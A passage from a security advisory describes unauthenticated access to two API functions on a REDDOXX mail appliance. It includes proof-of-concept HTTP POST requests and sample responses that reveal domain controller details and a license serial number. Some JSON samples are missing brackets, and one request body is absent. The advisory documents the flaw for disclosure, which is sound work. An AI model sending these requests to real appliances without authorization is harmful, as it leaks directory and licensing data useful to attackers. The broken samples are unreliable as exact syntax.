(from the vendor's homepage)

More Details

Through the ISO provided on the vendor's homepage [1], it was possible
to analyze the files in a typical REDDOXX appliance [0] installation. It
was discovered that the API functions "CoreService.GetRealmList" and
"CoreService.GetLicense" are available without requiring authentication.
This allows attackers to get information about the configured
authentication mechanisms, for example Windows domain controllers if
Active Directory authentication is in use. Additionally, the REDDOXX
license serial number can be extracted.

Proof of Concept

All functions of this API require a parameter "id" with a UUID. For
this, the UUID provided by the system itself when using the login form
can be used, but any valid UUID will be accepted. The
"CoreService.GetRealmList" API function can be used as follows:

POST /RdxEngine/json HTTP/1.1
Host: reddoxx.example.com
Content-Type: application/json

{"id":"{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}","method":"CoreService.GetRealmList","params":{"Directory": "/etc/"}}

It provides details about the authentication realms, such as hostname and
port of the authentication server or the BaseDN for Active Directory/LDAP

  "version": "1.1",
  "result": {
    "RealmList": [
        "AuthServer": "",
        "AuthType": "local",
        "BaseDN": "",
        "DisableSavePassword": false,
        "ImportAddresses": false,
        "Name": "local",
        "SetPrimaryAddress": false,
        "TcpPort": "0",
        "UseTLS": false,
        "WindowsDomain": ""
        "AuthServer": "dc1.example.com",
        "AuthType": "Windows 2003",
        "BaseDN": "DC=example,DC=com",
        "DisableSavePassword": false,
        "ImportAddresses": true,
        "Name": "example.com",
        "SetPrimaryAddress": true,
        "TcpPort": "389",
        "UseTLS": false,
        "WindowsDomain": "example.com"
        "AuthServer": "dc2.example.com",
        "AuthType": "Windows 2003",
        "BaseDN": "DC=example,DC=net",
        "DisableSavePassword": false,
        "ImportAddresses": true,
        "Name": "example.com",
        "SetPrimaryAddress": true,
        "TcpPort": "389",
        "UseTLS": false,
        "WindowsDomain": "example.com"

The "CoreService.GetLicense" API call can be used as follows:

POST /RdxEngine/json HTTP/1.1
Host: reddoxx.example.com
Content-Type: application/json


It provides details about the used license (serial number replaced by
random value for demonstration purposes):

  "version": "1.1",
  "result": {
    "License": {
      "Activated": true,
      "ActivationDate": "2000-01-01T12:34:56",
      "ApplianceID": "1234",
      "ArchiveLicenses": "10000",
      "Cluster": false,
      "Customer": "Example Ltd.",
      "HasFullMaildepotLicense": true,
      "HasFullSpamfinderLicense": true,
      "HasMaildepotPremiumLicense": true,
      "MailDepotImporterLicense": false,
      "MailSealerLicenses": "10000",
      "MailSealerSignatureLicense": false,
      "MsxAgentLicenses": "10000",
      "SerialNumber": "AIP1-EECA-EUKI-E6AH-OOGH-EI5Y",
      "ServiceDate": "1899-12-30T00:00:00",
      "SpamfinderLicenses": "10000",
      "SubscriptionDate": "2020-01-30T12:34:56",
      "Valid": true,
      "VirusScan": true

Security Risk

The risk of the information disclosure through the two API calls is
estimated to be low. Although the API calls should not be available
without authentication, "CoreService.GetRealmList" will only return
rudimentary information about the authentication realms and
"CoreService.GetLicense" is mostly a problem for the vendor, as the
serial number could be misused to set up a licensed application without
